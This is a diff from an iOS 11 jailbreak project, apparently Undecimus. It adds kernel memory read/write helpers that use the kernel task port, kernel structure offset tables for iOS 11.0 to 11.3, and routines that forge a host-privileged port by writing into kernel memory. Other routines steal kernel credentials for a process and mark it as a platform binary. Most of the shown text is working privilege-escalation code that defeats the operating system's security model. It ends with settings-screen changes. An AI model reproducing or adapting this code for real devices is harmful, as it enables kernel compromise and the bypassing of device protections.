err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
void kmem_free(uint64_t kaddr, uint64_t size)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
|
||||
{
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
#ifndef KernelMemory_h
|
||||
#define KernelMemory_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t* data,
|
||||
mach_msg_type_number_t* dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t* outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
size_t kread(uint64_t where, void* p, size_t size);
|
||||
size_t kwrite(uint64_t where, const void* p, size_t size);
|
||||
|
||||
#define rk32(kaddr) ReadKernel32(kaddr)
|
||||
#define rk64(kaddr) ReadKernel64(kaddr)
|
||||
uint32_t ReadKernel32(uint64_t kaddr);
|
||||
uint64_t ReadKernel64(uint64_t kaddr);
|
||||
|
||||
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
|
||||
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val);
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size);
|
||||
uint64_t kmem_alloc_wired(uint64_t size);
|
||||
void kmem_free(uint64_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
bool have_kmem_read(void);
|
||||
bool have_kmem_write(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,75 @@
|
||||
#ifndef KernelOffsets_h
|
||||
#define KernelOffsets_h
|
||||
|
||||
enum kstruct_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
KSTRUCT_OFFSET_TASK_NEXT,
|
||||
KSTRUCT_OFFSET_TASK_PREV,
|
||||
KSTRUCT_OFFSET_TASK_ITK_SPACE,
|
||||
KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
|
||||
KSTRUCT_OFFSET_TASK_TFLAGS,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
/* struct proc */
|
||||
KSTRUCT_OFFSET_PROC_PID,
|
||||
KSTRUCT_OFFSET_PROC_P_FD,
|
||||
KSTRUCT_OFFSET_PROC_TASK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED,
|
||||
KSTRUCT_OFFSET_PROC_P_LIST,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
|
||||
/* struct fileproc */
|
||||
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
|
||||
|
||||
/* struct fileglob */
|
||||
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
|
||||
|
||||
/* struct socket */
|
||||
KSTRUCT_OFFSET_SOCKET_SO_PCB,
|
||||
|
||||
/* struct pipe */
|
||||
KSTRUCT_OFFSET_PIPE_BUFFER,
|
||||
|
||||
/* struct ipc_space */
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
|
||||
|
||||
/* struct vnode */
|
||||
KSTRUCT_OFFSET_VNODE_V_MOUNT,
|
||||
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
|
||||
KSTRUCT_OFFSET_VNODE_V_LOCK,
|
||||
|
||||
/* struct specinfo */
|
||||
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
|
||||
|
||||
/* struct mount */
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
|
||||
|
||||
/* struct host */
|
||||
KSTRUCT_OFFSET_HOST_SPECIAL,
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset);
|
||||
void offsets_init(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,145 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include <common.h>
|
||||
|
||||
int* offsets = NULL;
|
||||
|
||||
int kstruct_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int kstruct_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x7c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset)
|
||||
{
|
||||
if (offsets == NULL) {
|
||||
LOG("need to call offsets_init() prior to querying offsets");
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
|
||||
void offsets_init()
|
||||
{
|
||||
if (kCFCoreFoundationVersionNumber >= 1452.23) {
|
||||
LOG("offsets selected for iOS 11.3 or above");
|
||||
offsets = kstruct_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
||||
LOG("offsets selected for iOS 11.0 to 11.2.6");
|
||||
offsets = kstruct_offsets_11_0;
|
||||
} else {
|
||||
LOG("iOS version too low, 11.0 required");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include <common.h>
|
||||
#include <iokit.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
|
||||
#define TF_PLATFORM 0x00000400 /* task is a platform binary */
|
||||
|
||||
uint64_t the_realhost;
|
||||
uint64_t kernel_base;
|
||||
uint64_t kernel_slide;
|
||||
offsets_t offs;
|
||||
|
||||
uint64_t cached_task_self_addr = 0;
|
||||
uint64_t task_self_addr()
|
||||
{
|
||||
if (cached_task_self_addr == 0) {
|
||||
cached_task_self_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
LOG("task self: 0x%llx", cached_task_self_addr);
|
||||
}
|
||||
return cached_task_self_addr;
|
||||
}
|
||||
|
||||
uint64_t ipc_space_kernel()
|
||||
{
|
||||
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
|
||||
}
|
||||
|
||||
uint64_t current_thread()
|
||||
{
|
||||
uint64_t thread_port = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
}
|
||||
|
||||
uint64_t find_kernel_base()
|
||||
{
|
||||
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
the_realhost = realhost;
|
||||
|
||||
uint64_t base = realhost & ~0xfffULL;
|
||||
// walk down to find the magic:
|
||||
for (int i = 0; i < 0x10000; i++) {
|
||||
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
|
||||
return base;
|
||||
}
|
||||
base -= 0x1000;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
|
||||
|
||||
// build a fake host priv port
|
||||
mach_port_t fake_host_priv()
|
||||
{
|
||||
if (fake_host_priv_port != MACH_PORT_NULL) {
|
||||
return fake_host_priv_port;
|
||||
}
|
||||
// get the address of realhost:
|
||||
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
// allocate a port
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// get a send right
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
// locate the port
|
||||
uint64_t port_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
|
||||
|
||||
// change the type of the port
|
||||
#define IKOT_HOST_PRIV 4
|
||||
#define IO_ACTIVE 0x80000000
|
||||
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);
|
||||
|
||||
// change the space of the port
|
||||
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
|
||||
|
||||
// set the kobject
|
||||
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
|
||||
|
||||
fake_host_priv_port = port;
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size)
|
||||
{
|
||||
return ((3 * kalloc_size) / 4) - 0x74;
|
||||
}
|
||||
|
||||
|
||||
uint64_t get_proc_struct_for_pid(pid_t pid)
|
||||
{
|
||||
uint64_t proc = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
while (proc) {
|
||||
if (ReadKernel32(proc + koffset(KSTRUCT_OFFSET_PROC_PID)) == pid)
|
||||
return proc;
|
||||
proc = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_P_LIST));
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t get_address_of_port(pid_t pid, mach_port_t port)
|
||||
{
|
||||
uint64_t proc_struct_addr = get_proc_struct_for_pid(pid);
|
||||
uint64_t task_addr = ReadKernel64(proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_TASK));
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
}
|
||||
|
||||
uint64_t get_kernel_cred_addr()
|
||||
{
|
||||
uint64_t kernel_proc_struct_addr = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
return ReadKernel64(kernel_proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_UCRED));
|
||||
}
|
||||
|
||||
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)
|
||||
{
|
||||
uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
|
||||
WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);
|
||||
return orig_creds;
|
||||
}
|
||||
|
||||
void set_platform_binary(uint64_t proc)
|
||||
{
|
||||
uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
|
||||
uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));
|
||||
task_t_flags |= TF_PLATFORM;
|
||||
WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
#ifndef kutils_h
|
||||
#define kutils_h
|
||||
|
||||
#include <common.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#define SETOFFSET(offset, val) (offs.offset = val)
|
||||
#define GETOFFSET(offset) offs.offset
|
||||
|
||||
typedef struct {
|
||||
kptr_t trustcache;
|
||||
kptr_t OSBoolean_True;
|
||||
kptr_t osunserializexml;
|
||||
kptr_t smalloc;
|
||||
kptr_t add_x0_x0_0x40_ret;
|
||||
kptr_t zone_map_ref;
|
||||
kptr_t vfs_context_current;
|
||||
kptr_t vnode_lookup;
|
||||
kptr_t vnode_put;
|
||||
kptr_t kernel_task;
|
||||
kptr_t shenanigans;
|
||||
kptr_t lck_mtx_lock;
|
||||
kptr_t lck_mtx_unlock;
|
||||
} offsets_t;
|
||||
|
||||
extern offsets_t offs;
|
||||
extern uint64_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
uint64_t task_self_addr(void);
|
||||
uint64_t ipc_space_kernel(void);
|
||||
uint64_t find_kernel_base(void);
|
||||
|
||||
uint64_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
uint64_t get_proc_struct_for_pid(pid_t pid);
|
||||
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
|
||||
uint64_t get_kernel_cred_addr(void);
|
||||
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
|
||||
void set_platform_binary(uint64_t proc);
|
||||
|
||||
#endif /* kutils_h */
|
||||
@@ -3,49 +3,31 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "common.h"
|
||||
#import "utils.h"
|
||||
|
||||
#define K_TWEAK_INJECTION "TweakInjection"
|
||||
#define K_LOAD_DAEMONS "LoadDaemons"
|
||||
#define K_DUMP_APTICKET "DumpAPTicket"
|
||||
#define K_REFRESH_ICON_CACHE "RefreshIconCache"
|
||||
#define K_BOOT_NONCE "BootNonce"
|
||||
#define K_EXPLOIT "Exploit"
|
||||
#define K_DISABLE_AUTO_UPDATES "DisableAutoUpdates"
|
||||
#define K_DISABLE_APP_REVOKES "DisableAppRevokes"
|
||||
#define K_OVERWRITE_BOOT_NONCE "OverwriteBootNonce"
|
||||
#define K_EXPORT_KERNEL_TASK_PORT "ExportKernelTaskPort"
|
||||
#define K_RESTORE_ROOTFS "RestoreRootFS"
|
||||
#define K_INCREASE_MEMORY_LIMIT "IncreaseMemoryLimit"
|
||||
#define K_ECID "Ecid"
|
||||
#define K_INSTALL_OPENSSH "InstallOpenSSH"
|
||||
#define K_INSTALL_CYDIA "InstallCydia"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS "ReloadSystemDaemons"
|
||||
|
||||
#define LOG_FILE [[NSString stringWithFormat:@"%@/Documents/log_file.txt", NSHomeDirectory()] UTF8String]
|
||||
#define PREFERENCES_FILE [NSString stringWithFormat:@"%@/Library/Preferences/%@.plist", NSHomeDirectory(), [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleIdentifier"]]
|
||||
|
||||
#define ISDEBUGGERATTACHED() (!(getppid() == 1))
|
||||
|
||||
#define START_LOGGING() do { \
|
||||
if (!ISDEBUGGERATTACHED()) { \
|
||||
freopen(LOG_FILE, "a+", stderr); \
|
||||
freopen(LOG_FILE, "a+", stdout); \
|
||||
setbuf(stdout, NULL); \
|
||||
setbuf(stderr, NULL);\
|
||||
} \
|
||||
} while (false) \
|
||||
|
||||
#define RESET_LOGS() do { \
|
||||
if (!ISDEBUGGERATTACHED()) { \
|
||||
if (!access(LOG_FILE, F_OK)) { \
|
||||
unlink(LOG_FILE); \
|
||||
} \
|
||||
} \
|
||||
} while(false) \
|
||||
#define K_TWEAK_INJECTION @"TweakInjection"
|
||||
#define K_LOAD_DAEMONS @"LoadDaemons"
|
||||
#define K_DUMP_APTICKET @"DumpAPTicket"
|
||||
#define K_REFRESH_ICON_CACHE @"RefreshIconCache"
|
||||
#define K_BOOT_NONCE @"BootNonce"
|
||||
#define K_EXPLOIT @"Exploit"
|
||||
#define K_DISABLE_AUTO_UPDATES @"DisableAutoUpdates"
|
||||
#define K_DISABLE_APP_REVOKES @"DisableAppRevokes"
|
||||
#define K_OVERWRITE_BOOT_NONCE @"OverwriteBootNonce"
|
||||
#define K_EXPORT_KERNEL_TASK_PORT @"ExportKernelTaskPort"
|
||||
#define K_RESTORE_ROOTFS @"RestoreRootFS"
|
||||
#define K_INCREASE_MEMORY_LIMIT @"IncreaseMemoryLimit"
|
||||
#define K_ECID @"Ecid"
|
||||
#define K_INSTALL_OPENSSH @"InstallOpenSSH"
|
||||
#define K_INSTALL_CYDIA @"InstallCydia"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS @"ReloadSystemDaemons"
|
||||
#define K_HIDE_LOG_WINDOW @"HideLogWindow"
|
||||
#define K_RESET_CYDIA_CACHE @"ResetCydiaCache"
|
||||
|
||||
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
|
||||
@@ -71,6 +53,8 @@
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ECIDLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ReloadSystemDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *RestartSpringBoardButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *HideLogWindowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ResetCydiaCacheSwitch;
|
||||
|
||||
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path;
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <sys/utsname.h>
|
||||
@@ -12,7 +12,8 @@
|
||||
#include <common.h>
|
||||
#include "hideventsystem.h"
|
||||
#include "remote_call.h"
|
||||
#include "ViewController.h"
|
||||
#include "JailbreakViewController.h"
|
||||
#include "utils.h"
|
||||
|
||||
@interface SettingsTableViewController ()
|
||||
|
||||
@@ -165,33 +166,33 @@
|
||||
struct utsname u = { 0 };
|
||||
NSMutableDictionary *md = nil;
|
||||
uname(&u);
|
||||
md = [[NSMutableDictionary alloc] init];
|
||||
md = [NSMutableDictionary new];
|
||||
md[@"Sysname"] = [NSString stringWithUTF8String:u.sysname];
|
||||
md[@"Nodename"] = [NSString stringWithUTF8String:u.nodename];
|
||||
md[@"Release"] = [NSString stringWithUTF8String:u.release];
|
||||
md[@"Version"] = [NSString stringWithUTF8String:u.version];
|
||||
md[@"Machine"] = [NSString stringWithUTF8String:u.machine];
|
||||
